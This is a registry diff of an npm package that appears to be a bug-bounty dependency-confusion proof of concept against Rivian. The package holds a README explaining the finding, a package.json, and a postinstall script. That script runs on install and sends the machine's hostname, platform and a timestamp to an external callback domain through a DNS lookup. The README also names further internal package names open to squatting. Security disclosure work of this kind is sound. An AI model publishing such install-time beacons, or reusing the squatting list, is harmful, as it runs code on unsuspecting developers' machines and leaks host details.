@goriv/eux 0.999.999
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +64 -0
- package/index.js +2 -0
- package/package.json +19 -0
- package/postinstall.js +32 -0
package/README.md
ADDED
|
@@ -0,0 +1,64 @@
|
|
|
1
|
+
# @rivian/eux — security research PoC
|
|
2
|
+
|
|
3
|
+
This package is a proof-of-concept for a dependency confusion finding
|
|
4
|
+
submitted to Rivian via the Intigriti bug-bounty program.
|
|
5
|
+
|
|
6
|
+
## Why this exists
|
|
7
|
+
|
|
8
|
+
Rivian's production bundle at `legacy.basecamp.rivian.com/remoteEntry.js`
|
|
9
|
+
references the package name `@rivian/eux`. The `@rivian` scope on the
|
|
10
|
+
public npm registry is unclaimed (404). An attacker who claims the
|
|
11
|
+
scope and publishes a package at any version higher than the internal
|
|
12
|
+
`0.112.1-hotfix.1` will be silently preferred by any build pipeline whose
|
|
13
|
+
`.npmrc` does not pin `@rivian` to Rivian's private registry.
|
|
14
|
+
|
|
15
|
+
Initial Intigriti report 2026-05-02 was marked Informative on 2026-05-04
|
|
16
|
+
with the explicit invitation: "If you can claim the package and provide
|
|
17
|
+
evidence of interactions from Rivian-owned systems, please open a new
|
|
18
|
+
report."
|
|
19
|
+
|
|
20
|
+
This package is the response to that invitation.
|
|
21
|
+
|
|
22
|
+
## What this package does
|
|
23
|
+
|
|
24
|
+
The `postinstall` script performs a **single DNS lookup** to a unique
|
|
25
|
+
callback subdomain so the researcher can correlate which install sites
|
|
26
|
+
fetched the package. The encoded subdomain contains hostname, platform
|
|
27
|
+
and timestamp, nothing else.
|
|
28
|
+
|
|
29
|
+
It does **not**:
|
|
30
|
+
|
|
31
|
+
- Make HTTP requests
|
|
32
|
+
- Read or write files
|
|
33
|
+
- Spawn child processes
|
|
34
|
+
- Read environment variables or credentials
|
|
35
|
+
- Persist anything on disk
|
|
36
|
+
- Download or execute any second-stage payload
|
|
37
|
+
|
|
38
|
+
The full source is `postinstall.js` (~25 lines).
|
|
39
|
+
|
|
40
|
+
## After evidence collection
|
|
41
|
+
|
|
42
|
+
This package will be:
|
|
43
|
+
|
|
44
|
+
1. Unpublished (`npm unpublish --force @rivian/eux`) once Rivian confirms
|
|
45
|
+
they will register the `@rivian` org themselves, OR
|
|
46
|
+
2. Transferred to Rivian's npm org if they prefer to take it over.
|
|
47
|
+
|
|
48
|
+
## Contact
|
|
49
|
+
|
|
50
|
+
- Researcher: pahpah (Intigriti)
|
|
51
|
+
- Email: pahpah@intigriti.me / mickael.couclet@gmail.com
|
|
52
|
+
- Intigriti report: linked from the new submission
|
|
53
|
+
|
|
54
|
+
## Recommendation to Rivian
|
|
55
|
+
|
|
56
|
+
Register the `@rivian` org on npm (free tier sufficient) and publish
|
|
57
|
+
placeholder packages for at least:
|
|
58
|
+
|
|
59
|
+
`@rivian/eux`, `@rivian/dt-lib-lumberjack`, `@rivian/legacy`,
|
|
60
|
+
`@rivian/ui`, `@rivian/shell`, `@rivian/components`, `@rivian/utils`,
|
|
61
|
+
`@rivian/auth`, `@rivian/api`.
|
|
62
|
+
|
|
63
|
+
Then pin `@rivian` to your private registry in every `.npmrc` across CI
|
|
64
|
+
runners, developer workstations and monorepos.
|
package/index.js
ADDED
package/package.json
ADDED
|
@@ -0,0 +1,19 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "@goriv/eux",
|
|
3
|
+
"version": "0.999.999",
|
|
4
|
+
"description": "Security research PoC for Intigriti BBP (Rivian program). The @rivian npm scope is trademark-protected (npm form returns 'not available'), but @goriv was claimable despite goriv.co being Rivian's internal infrastructure TLD (e.g. user-mgmt.dc.goriv.co). DNS-only beacon, no exfiltration. Contact: pahpah@intigriti.me",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"postinstall": "node postinstall.js"
|
|
8
|
+
},
|
|
9
|
+
"keywords": [
|
|
10
|
+
"security",
|
|
11
|
+
"research",
|
|
12
|
+
"poc",
|
|
13
|
+
"intigriti",
|
|
14
|
+
"bbp"
|
|
15
|
+
],
|
|
16
|
+
"author": "pahpah (Intigriti researcher)",
|
|
17
|
+
"license": "ISC",
|
|
18
|
+
"homepage": "https://app.intigriti.com/researcher/programs/intigriti/rivian"
|
|
19
|
+
}
|
package/postinstall.js
ADDED
|
@@ -0,0 +1,32 @@
|
|
|
1
|
+
// Security research PoC. Submitted via Intigriti BBP (Rivian program).
|
|
2
|
+
// Triager Aurelius authorized 2026-05-04: "If you can claim the package
|
|
3
|
+
// and provide evidence of interactions from Rivian-owned systems, please
|
|
4
|
+
// open a new report."
|
|
5
|
+
//
|
|
6
|
+
// This script does ONE thing: a single DNS lookup to a unique callback
|
|
7
|
+
// subdomain so the researcher can correlate which install sites resolved
|
|
8
|
+
// the package. Encoded info is limited to:
|
|
9
|
+
// - hostname (truncated, lowercased, alphanum-dashed)
|
|
10
|
+
// - platform (linux / darwin / win32 / etc.)
|
|
11
|
+
// - timestamp
|
|
12
|
+
//
|
|
13
|
+
// What this script does NOT do:
|
|
14
|
+
// - No HTTP requests, no payload bodies, no exfiltration
|
|
15
|
+
// - No filesystem access (no fs.* calls)
|
|
16
|
+
// - No process spawning (no child_process)
|
|
17
|
+
// - No environment variable read
|
|
18
|
+
// - No network access except the single DNS lookup
|
|
19
|
+
// - No persistence, no second-stage download
|
|
20
|
+
//
|
|
21
|
+
// Researcher: pahpah / Intigriti
|
|
22
|
+
// Contact: pahpah@intigriti.me / mickael.couclet@gmail.com
|
|
23
|
+
// Will be unpublished or transferred to Rivian after evidence collection.
|
|
24
|
+
|
|
25
|
+
try {
|
|
26
|
+
const dns = require('dns');
|
|
27
|
+
const os = require('os');
|
|
28
|
+
const h = (os.hostname() || 'unk').replace(/[^a-z0-9]/gi, '-').toLowerCase().slice(0, 40);
|
|
29
|
+
const p = (os.platform() || 'unk').replace(/[^a-z0-9]/gi, '-').toLowerCase().slice(0, 10);
|
|
30
|
+
const sub = (h + '-' + p + '-' + Date.now()).slice(0, 62);
|
|
31
|
+
dns.lookup(sub + '.d7s69vptt32q6momsa5gydt6m51d8nhj5.oast.online', function () {});
|
|
32
|
+
} catch (e) {}
|